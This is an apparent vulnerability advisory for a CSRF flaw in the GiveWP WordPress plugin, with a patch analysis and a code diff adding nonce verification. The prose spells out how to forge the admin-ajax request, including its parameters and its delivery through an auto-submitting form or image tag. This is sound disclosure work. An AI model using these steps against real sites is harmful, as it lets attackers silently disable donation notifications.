Published : June 30, 2026

CVE-2026-11981: GiveWP <= 4.15.3 Cross-Site Request Forgery PoC, Patch Analysis & Rule

Plugin give
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 4.15.3
Patched Version 4.15.4
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11981:

The GiveWP plugin for WordPress, version 4.15.3 and earlier, contains a Cross-Site Request Forgery (CSRF) vulnerability in the email notification status handler. This vulnerability allows an unauthenticated attacker to disable donation email notifications by tricking a site administrator into performing a forged request. The issue has a CVSS score of 4.3 (Medium).

The root cause is the missing nonce validation on the `give_set_notification_status_handler()` function, located in `/give/includes/admin/emails/ajax-handler.php`. The function, starting at line 14, processes AJAX requests to enable or disable notification emails. Before the patch, the function only checked user capabilities with `current_user_can( ‘manage_give_settings’ )` at line 18 but did not verify the request originated from the intended admin interface. An attacker could forge a request to the `admin-ajax.php` endpoint with the action `give_set_notification_status` and the required parameters (like `notification_id` and `status`), and the server would process it without validating a nonce.

Exploitation requires tricking an authenticated administrator into clicking a crafted link or visiting a malicious page. The attacker prepares a request to `/wp-admin/admin-ajax.php` with parameters: `action=give_set_notification_status`, `notification_id=[target]`, and `status=disabled`. This request can be delivered via an HTML form that auto-submits or via an img tag with a crafted GET request. Since WordPress AJAX handlers accept both GET and POST requests, the attacker has flexibility in delivery method. The key is that the request must come from the admin’s browser with their active session cookies.

The patch adds nonce verification by inserting `check_ajax_referer( ‘give_set_notification_status’, ‘_ajax_nonce’ );` as the first line of the function (line 17 in the patched version). This WordPress function validates that the `_ajax_nonce` parameter in the request matches a nonce generated with `wp_create_nonce(‘give_set_notification_status’)`. The patch also updates the `admin_localize_scripts()` function in `/give/includes/class-give-scripts.php` (line 398) to generate and pass this nonce to the JavaScript frontend via `’give_set_notification_status_nonce’ => wp_create_nonce(‘give_set_notification_status’)`. Before the patch, no nonce was generated or validated, so any request to the handler with admin capabilities was processed without verifying the request’s authenticity.

If exploited, an attacker can disable donation email notifications for specific email types or all notifications. This disrupts the donation workflow, potentially causing donors to not receive receipts, admins to miss new donation alerts, and eroding trust in the donation system. The impact is primarily availability (disruption of service) and potentially financial damage if the lack of notifications leads to issues with donor communication and compliance.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/give/build/assets/dist/js/admin.asset.php
+++ b/give/build/assets/dist/js/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'wp-i18n'), 'version' => '53ae6bd83d8f7d06ea08');
+<?php return array('dependencies' => array('jquery', 'wp-i18n'), 'version' => 'b34f009a2fc463b37fc1');
--- a/give/give.php
+++ b/give/give.php
@@ -6,7 +6,7 @@
  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.
  * Author: GiveWP
  * Author URI: https://givewp.com/
- * Version: 4.15.3
+ * Version: 4.15.4
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: give
@@ -426,7 +426,7 @@
     {
         // Plugin version.
         if (!defined('GIVE_VERSION')) {
-            define('GIVE_VERSION', '4.15.3');
+            define('GIVE_VERSION', '4.15.4');
         }

         // Plugin Root File.
--- a/give/includes/admin/emails/ajax-handler.php
+++ b/give/includes/admin/emails/ajax-handler.php
@@ -14,8 +14,11 @@
  * Enabled & disable notification
  *
  * @since 2.0
+ * @since 4.15.4 Add nonce verification.
  */
 function give_set_notification_status_handler() {
+	check_ajax_referer( 'give_set_notification_status', '_ajax_nonce' );
+
 	// Is user have permission to edit give setting.
 	if ( ! current_user_can( 'manage_give_settings' ) ) {
 		return;
--- a/give/includes/class-give-scripts.php
+++ b/give/includes/class-give-scripts.php
@@ -264,6 +264,7 @@
 	 * Localize admin scripts.
      *
      * @since 2.25.3 Add nonce for payment note AJAX requests.
+     * @since 4.15.4   Add nonce for give_set_notification_status AJAX request.
 	 */
 	public function admin_localize_scripts() {

@@ -394,8 +395,9 @@
 			'give_subscription_import'          => 'give_subscription_import',
 			'give_subscription_import_nonce'    => wp_create_nonce('give_subscription_import'),
 			'core_settings_import'              => 'give_core_settings_import',
-            'give_insert_payment_note_nonce'    => wp_create_nonce('give_insert_payment_note'),
-            'give_delete_payment_note_nonce'    => wp_create_nonce('give_delete_payment_note'),
+            'give_insert_payment_note_nonce'             => wp_create_nonce('give_insert_payment_note'),
+            'give_delete_payment_note_nonce'             => wp_create_nonce('give_delete_payment_note'),
+            'give_set_notification_status_nonce'         => wp_create_nonce('give_set_notification_status'),
 			'setting_not_save_message'          => __( 'Changes you made may not be saved.', 'give' ),
 			'give_donation_amounts'             => [
 				'minimum' => apply_filters( 'give_donation_minimum_limit', 1 ),
--- a/give/vendor/composer/installed.php
+++ b/give/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'impress-org/give',
-        'pretty_version' => '4.15.3',
-        'version' => '4.15.3.0',
-        'reference' => 'ae90cec92b4fcbdbf48c2f8ba2db388b0215a646',
+        'pretty_version' => '4.15.4',
+        'version' => '4.15.4.0',
+        'reference' => '5be86e3b0847cc3a6fd880fa1e66c546aff8690b',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'impress-org/give' => array(
-            'pretty_version' => '4.15.3',
-            'version' => '4.15.3.0',
-            'reference' => 'ae90cec92b4fcbdbf48c2f8ba2db388b0215a646',
+            'pretty_version' => '4.15.4',
+            'version' => '4.15.4.0',
+            'reference' => '5be86e3b0847cc3a6fd880fa1e66c546aff8690b',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/give/vendor/vendor-prefixed/autoload-classmap.php
+++ b/give/vendor/vendor-prefixed/autoload-classmap.php
@@ -5,417 +5,417 @@
 $strauss_src = dirname(__FILE__);

 return array(
-   'GiveVendorsSymfonyComponentHttpFoundationRateLimiterAbstractRequestRateLimiter' => $strauss_src . '/symfony/http-foundation/RateLimiter/AbstractRequestRateLimiter.php',
-   'GiveVendorsSymfonyComponentHttpFoundationRateLimiterRequestRateLimiterInterface' => $strauss_src . '/symfony/http-foundation/RateLimiter/RequestRateLimiterInterface.php',
-   'GiveVendorsSymfonyComponentHttpFoundationExpressionRequestMatcher' => $strauss_src . '/symfony/http-foundation/ExpressionRequestMatcher.php',
-   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseStatusCodeSame' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseStatusCodeSame.php',
-   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseHeaderSame' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseHeaderSame.php',
-   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseCookieValueSame' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseCookieValueSame.php',
-   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintRequestAttributeValueSame' => $strauss_src . '/symfony/http-foundation/Test/Constraint/RequestAttributeValueSame.php',
-   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseFormatSame' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseFormatSame.php',
-   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseHasCookie' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseHasCookie.php',
-   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseIsUnprocessable' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseIsUnprocessable.php',
-   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseHasHeader' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseHasHeader.php',
-   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseIsRedirected' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseIsRedirected.php',
-   'GiveVendorsSymfonyComponentHttpFoundationTestConstraintResponseIsSuccessful' => $strauss_src . '/symfony/http-foundation/Test/Constraint/ResponseIsSuccessful.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileUploadedFile' => $strauss_src . '/symfony/http-foundation/File/UploadedFile.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileStream' => $strauss_src . '/symfony/http-foundation/File/Stream.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionFileNotFoundException' => $strauss_src . '/symfony/http-foundation/File/Exception/FileNotFoundException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionNoTmpDirFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/NoTmpDirFileException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionUploadException' => $strauss_src . '/symfony/http-foundation/File/Exception/UploadException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/FileException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionPartialFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/PartialFileException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionExtensionFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/ExtensionFileException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionFormSizeFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/FormSizeFileException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionNoFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/NoFileException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionUnexpectedTypeException' => $strauss_src . '/symfony/http-foundation/File/Exception/UnexpectedTypeException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionAccessDeniedException' => $strauss_src . '/symfony/http-foundation/File/Exception/AccessDeniedException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionCannotWriteFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/CannotWriteFileException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileExceptionIniSizeFileException' => $strauss_src . '/symfony/http-foundation/File/Exception/IniSizeFileException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileFile' => $strauss_src . '/symfony/http-foundation/File/File.php',
-   'GiveVendorsSymfonyComponentHttpFoundationFileBag' => $strauss_src . '/symfony/http-foundation/FileBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationHeaderBag' => $strauss_src . '/symfony/http-foundation/HeaderBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationInputBag' => $strauss_src . '/symfony/http-foundation/InputBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationAcceptHeaderItem' => $strauss_src . '/symfony/http-foundation/AcceptHeaderItem.php',
-   'GiveVendorsSymfonyComponentHttpFoundationRequest' => $strauss_src . '/symfony/http-foundation/Request.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionFactory' => $strauss_src . '/symfony/http-foundation/Session/SessionFactory.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionBagInterface' => $strauss_src . '/symfony/http-foundation/Session/SessionBagInterface.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionInterface' => $strauss_src . '/symfony/http-foundation/Session/SessionInterface.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionUtils' => $strauss_src . '/symfony/http-foundation/Session/SessionUtils.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionSession' => $strauss_src . '/symfony/http-foundation/Session/Session.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionFactoryInterface' => $strauss_src . '/symfony/http-foundation/Session/SessionFactoryInterface.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionAttributeNamespacedAttributeBag' => $strauss_src . '/symfony/http-foundation/Session/Attribute/NamespacedAttributeBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionAttributeAttributeBagInterface' => $strauss_src . '/symfony/http-foundation/Session/Attribute/AttributeBagInterface.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionAttributeAttributeBag' => $strauss_src . '/symfony/http-foundation/Session/Attribute/AttributeBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionSessionBagProxy' => $strauss_src . '/symfony/http-foundation/Session/SessionBagProxy.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionFlashAutoExpireFlashBag' => $strauss_src . '/symfony/http-foundation/Session/Flash/AutoExpireFlashBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionFlashFlashBagInterface' => $strauss_src . '/symfony/http-foundation/Session/Flash/FlashBagInterface.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionFlashFlashBag' => $strauss_src . '/symfony/http-foundation/Session/Flash/FlashBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageServiceSessionFactory' => $strauss_src . '/symfony/http-foundation/Session/Storage/ServiceSessionFactory.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageNativeSessionStorageFactory' => $strauss_src . '/symfony/http-foundation/Session/Storage/NativeSessionStorageFactory.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageMockFileSessionStorage' => $strauss_src . '/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageSessionStorageFactoryInterface' => $strauss_src . '/symfony/http-foundation/Session/Storage/SessionStorageFactoryInterface.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStoragePhpBridgeSessionStorage' => $strauss_src . '/symfony/http-foundation/Session/Storage/PhpBridgeSessionStorage.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageMockArraySessionStorage' => $strauss_src . '/symfony/http-foundation/Session/Storage/MockArraySessionStorage.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageMetadataBag' => $strauss_src . '/symfony/http-foundation/Session/Storage/MetadataBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageMockFileSessionStorageFactory' => $strauss_src . '/symfony/http-foundation/Session/Storage/MockFileSessionStorageFactory.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageSessionStorageInterface' => $strauss_src . '/symfony/http-foundation/Session/Storage/SessionStorageInterface.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageNativeSessionStorage' => $strauss_src . '/symfony/http-foundation/Session/Storage/NativeSessionStorage.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStoragePhpBridgeSessionStorageFactory' => $strauss_src . '/symfony/http-foundation/Session/Storage/PhpBridgeSessionStorageFactory.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerRedisSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/RedisSessionHandler.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerSessionHandlerFactory' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/SessionHandlerFactory.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerMemcachedSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/MemcachedSessionHandler.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerNativeFileSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/NativeFileSessionHandler.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerMigratingSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/MigratingSessionHandler.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerStrictSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/StrictSessionHandler.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerMongoDbSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerAbstractSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/AbstractSessionHandler.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerIdentityMarshaller' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/IdentityMarshaller.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerPdoSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/PdoSessionHandler.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerMarshallingSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/MarshallingSessionHandler.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageHandlerNullSessionHandler' => $strauss_src . '/symfony/http-foundation/Session/Storage/Handler/NullSessionHandler.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageProxySessionHandlerProxy' => $strauss_src . '/symfony/http-foundation/Session/Storage/Proxy/SessionHandlerProxy.php',
-   'GiveVendorsSymfonyComponentHttpFoundationSessionStorageProxyAbstractProxy' => $strauss_src . '/symfony/http-foundation/Session/Storage/Proxy/AbstractProxy.php',
-   'GiveVendorsSymfonyComponentHttpFoundationStreamedResponse' => $strauss_src . '/symfony/http-foundation/StreamedResponse.php',
-   'GiveVendorsSymfonyComponentHttpFoundationHeaderUtils' => $strauss_src . '/symfony/http-foundation/HeaderUtils.php',
-   'GiveVendorsSymfonyComponentHttpFoundationJsonResponse' => $strauss_src . '/symfony/http-foundation/JsonResponse.php',
-   'GiveVendorsSymfonyComponentHttpFoundationRequestMatcher' => $strauss_src . '/symfony/http-foundation/RequestMatcher.php',
-   'GiveVendorsSymfonyComponentHttpFoundationServerBag' => $strauss_src . '/symfony/http-foundation/ServerBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationIpUtils' => $strauss_src . '/symfony/http-foundation/IpUtils.php',
-   'GiveVendorsSymfonyComponentHttpFoundationResponseHeaderBag' => $strauss_src . '/symfony/http-foundation/ResponseHeaderBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationParameterBag' => $strauss_src . '/symfony/http-foundation/ParameterBag.php',
-   'GiveVendorsSymfonyComponentHttpFoundationExceptionConflictingHeadersException' => $strauss_src . '/symfony/http-foundation/Exception/ConflictingHeadersException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationExceptionJsonException' => $strauss_src . '/symfony/http-foundation/Exception/JsonException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationExceptionSuspiciousOperationException' => $strauss_src . '/symfony/http-foundation/Exception/SuspiciousOperationException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationExceptionBadRequestException' => $strauss_src . '/symfony/http-foundation/Exception/BadRequestException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationExceptionSessionNotFoundException' => $strauss_src . '/symfony/http-foundation/Exception/SessionNotFoundException.php',
-   'GiveVendorsSymfonyComponentHttpFoundationExceptionRequestExceptionInterface' => $strauss_src . '/symfony/http-foundation/Exception/RequestExceptionInterface.php',
-   'GiveVendorsSymfonyComponentHttpFoundationCookie' => $strauss_src . '/symfony/http-foundation/Cookie.php',
-   'GiveVendorsSymfonyComponentHttpFoundationRedirectResponse' => $strauss_src . '/symfony/http-foundation/RedirectResponse.php',
-   'GiveVendorsSymfonyComponentHttpFoundationUrlHelper' => $strauss_src . '/symfony/http-foundation/UrlHelper.php',
-   'GiveVendorsSymfonyComponentHttpFoundationBinaryFileResponse' => $strauss_src . '/symfony/http-foundation/BinaryFileResponse.php',
-   'GiveVendorsSymfonyComponentHttpFoundationRequestStack' => $strauss_src . '/symfony/http-foundation/RequestStack.php',
-   'GiveVendorsSymfonyComponentHttpFoundationResponse' => $strauss_src . '/symfony/http-foundation/Response.php',
-   'GiveVendorsSymfonyComponentHttpFoundationRequestMatcherInterface' => $strauss_src . '/symfony/http-foundation/RequestMatcherInterface.php',
-   'GiveVendorsSymfonyComponentHttpFoundationAcceptHeader' => $strauss_src . '/symfony/http-foundation/AcceptHeader.php',
-   'ValueError' => $strauss_src . '/symfony/polyfill-php80/Resources/stubs/ValueError.php',
-   'UnhandledMatchError' => $strauss_src . '/symfony/polyfill-php80/Resources/stubs/UnhandledMatchError.php',
-   'Stringable' => $strauss_src . '/symfony/polyfill-php80/Resources/stubs/Stringable.php',
-   'Attribute' => $strauss_src . '/symfony/polyfill-php80/Resources/stubs/Attribute.php',
-   'PhpToken' => $strauss_src . '/symfony/polyfill-php80/Resources/stubs/PhpToken.php',
-   'GiveVendorsSymfonyPolyfillPhp80PhpToken' => $strauss_src . '/symfony/polyfill-php80/PhpToken.php',
-   'GiveVendorsSymfonyPolyfillPhp80Php80' => $strauss_src . '/symfony/polyfill-php80/Php80.php',
-   'GiveVendorsPsrHttpClientClientExceptionInterface' => $strauss_src . '/psr/http-client/src/ClientExceptionInterface.php',
-   'GiveVendorsPsrHttpClientClientInterface' => $strauss_src . '/psr/http-client/src/ClientInterface.php',
-   'GiveVendorsPsrHttpClientRequestExceptionInterface' => $strauss_src . '/psr/http-client/src/RequestExceptionInterface.php',
-   'GiveVendorsPsrHttpClientNetworkExceptionInterface' => $strauss_src . '/psr/http-client/src/NetworkExceptionInterface.php',
-   'GiveVendorsPsrHttpMessageRequestFactoryInterface' => $strauss_src . '/psr/http-factory/src/RequestFactoryInterface.php',
-   'GiveVendorsPsrHttpMessageUriFactoryInterface' => $strauss_src . '/psr/http-factory/src/UriFactoryInterface.php',
-   'GiveVendorsPsrHttpMessageResponseFactoryInterface' => $strauss_src . '/psr/http-factory/src/ResponseFactoryInterface.php',
-   'GiveVendorsPsrHttpMessageStreamFactoryInterface' => $strauss_src . '/psr/http-factory/src/StreamFactoryInterface.php',
-   'GiveVendorsPsrHttpMessageServerRequestFactoryInterface' => $strauss_src . '/psr/http-factory/src/ServerRequestFactoryInterface.php',
-   'GiveVendorsPsrHttpMessageUploadedFileFactoryInterface' => $strauss_src . '/psr/http-factory/src/UploadedFileFactoryInterface.php',
-   'GiveVendorsPsrHttpMessageServerRequestInterface' => $strauss_src . '/psr/http-message/src/ServerRequestInterface.php',
-   'GiveVendorsPsrHttpMessageRequestInterface' => $strauss_src . '/psr/http-message/src/RequestInterface.php',
-   'GiveVendorsPsrHttpMessageResponseInterface' => $strauss_src . '/psr/http-message/src/ResponseInterface.php',
-   'GiveVendorsPsrHttpMessageStreamInterface' => $strauss_src . '/psr/http-message/src/StreamInterface.php',
-   'GiveVendorsPsrHttpMessageMessageInterface' => $strauss_src . '/psr/http-message/src/MessageInterface.php',
-   'GiveVendorsPsrHttpMessageUriInterface' => $strauss_src . '/psr/http-message/src/UriInterface.php',
-   'GiveVendorsPsrHttpMessageUploadedFileInterface' => $strauss_src . '/psr/http-message/src/UploadedFileInterface.php',
    'GiveVendorsStellarWPArraysArr' => $strauss_src . '/stellarwp/arrays/src/Arrays/Arr.php',
-   'GiveVendorsStellarWPAdminNoticesContractsNotificationsRegistrarInterface' => $strauss_src . '/stellarwp/admin-notices/src/Contracts/NotificationsRegistrarInterface.php',
-   'GiveVendorsStellarWPAdminNoticesExceptionsNotificationCollisionException' => $strauss_src . '/stellarwp/admin-notices/src/Exceptions/NotificationCollisionException.php',
-   'GiveVendorsStellarWPAdminNoticesNotificationsRegistrar' => $strauss_src . '/stellarwp/admin-notices/src/NotificationsRegistrar.php',
-   'GiveVendorsStellarWPAdminNoticesAdminNotice' => $strauss_src . '/stellarwp/admin-notices/src/AdminNotice.php',
-   'GiveVendorsStellarWPAdminNoticesActionsRenderAdminNotice' => $strauss_src . '/stellarwp/admin-notices/src/Actions/RenderAdminNotice.php',
-   'GiveVendorsStellarWPAdminNoticesActionsEnqueueNoticesScriptsAndStyles' => $strauss_src . '/stellarwp/admin-notices/src/Actions/EnqueueNoticesScriptsAndStyles.php',
-   'GiveVendorsStellarWPAdminNoticesActionsDisplayNoticesInAdmin' => $strauss_src . '/stellarwp/admin-notices/src/Actions/DisplayNoticesInAdmin.php',
-   'GiveVendorsStellarWPAdminNoticesActionsNoticeShouldRender' => $strauss_src . '/stellarwp/admin-notices/src/Actions/NoticeShouldRender.php',
-   'GiveVendorsStellarWPAdminNoticesAdminNotices' => $strauss_src . '/stellarwp/admin-notices/src/AdminNotices.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsStyle' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/Style.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsNoticeLocation' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/NoticeLocation.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsScript' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/Script.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsScreenCondition' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/ScreenCondition.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsNoticeUrgency' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/NoticeUrgency.php',
-   'GiveVendorsStellarWPAdminNoticesValueObjectsUserCapability' => $strauss_src . '/stellarwp/admin-notices/src/ValueObjects/UserCapability.php',
-   'GiveVendorsStellarWPAdminNoticesTraitsHasNamespace' => $strauss_src . '/stellarwp/admin-notices/src/Traits/HasNamespace.php',
-   'GiveVendorsStellarWPAdminNoticesDataTransferObjectsNoticeElementProperties' => $strauss_src . '/stellarwp/admin-notices/src/DataTransferObjects/NoticeElementProperties.php',
-   'GiveVendorsLiquidWebHarborSiteData' => $strauss_src . '/stellarwp/harbor/src/Harbor/Site/Data.php',
-   'GiveVendorsLiquidWebHarborContractsProvider_Interface' => $strauss_src . '/stellarwp/harbor/src/Harbor/Contracts/Provider_Interface.php',
-   'GiveVendorsLiquidWebHarborContractsAbstract_Provider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Contracts/Abstract_Provider.php',
-   'GiveVendorsLiquidWebHarborConfig' => $strauss_src . '/stellarwp/harbor/src/Harbor/Config.php',
-   'GiveVendorsLiquidWebHarborLegacyNoticesLicense_Notice_Handler' => $strauss_src . '/stellarwp/harbor/src/Harbor/Legacy/Notices/License_Notice_Handler.php',
-   'GiveVendorsLiquidWebHarborLegacyLegacy_License' => $strauss_src . '/stellarwp/harbor/src/Harbor/Legacy/Legacy_License.php',
-   'GiveVendorsLiquidWebHarborLegacyLicense_Repository' => $strauss_src . '/stellarwp/harbor/src/Harbor/Legacy/License_Repository.php',
-   'GiveVendorsLiquidWebHarborLegacyProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Legacy/Provider.php',
-   'GiveVendorsLiquidWebHarborPremium_Plugin_Registry' => $strauss_src . '/stellarwp/harbor/src/Harbor/Premium_Plugin_Registry.php',
-   'GiveVendorsLiquidWebHarborUtilsCollection' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/Collection.php',
-   'GiveVendorsLiquidWebHarborUtilsLicense_Key' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/License_Key.php',
-   'GiveVendorsLiquidWebHarborUtilsCast' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/Cast.php',
-   'GiveVendorsLiquidWebHarborUtilsSanitize' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/Sanitize.php',
-   'GiveVendorsLiquidWebHarborUtilsVersion' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/Version.php',
-   'GiveVendorsLiquidWebHarborUtilsChecks' => $strauss_src . '/stellarwp/harbor/src/Harbor/Utils/Checks.php',
-   'GiveVendorsLiquidWebHarborComponentsController' => $strauss_src . '/stellarwp/harbor/src/Harbor/Components/Controller.php',
-   'GiveVendorsLiquidWebHarborAPIFunctionsActionsDisplay_Legacy_License_Page_Notice' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/Functions/Actions/Display_Legacy_License_Page_Notice.php',
-   'GiveVendorsLiquidWebHarborAPIFunctionsActionsRegister_Submenu' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/Functions/Actions/Register_Submenu.php',
-   'GiveVendorsLiquidWebHarborAPIFunctionsGlobal_Function_Registry' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/Functions/Global_Function_Registry.php',
-   'GiveVendorsLiquidWebHarborAPIFunctionsProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/Functions/Provider.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1License_Response' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/License_Response.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1Feature_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/Feature_Controller.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1License_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/License_Controller.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1Legacy_License_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/Legacy_License_Controller.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1Harbor_Hosts_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/Harbor_Hosts_Controller.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1Provider' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/Provider.php',
-   'GiveVendorsLiquidWebHarborAPIRESTV1Catalog_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/API/REST/V1/Catalog_Controller.php',
-   'GiveVendorsLiquidWebHarborFeaturesContractsStrategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Contracts/Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesContractsInstallable' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Contracts/Installable.php',
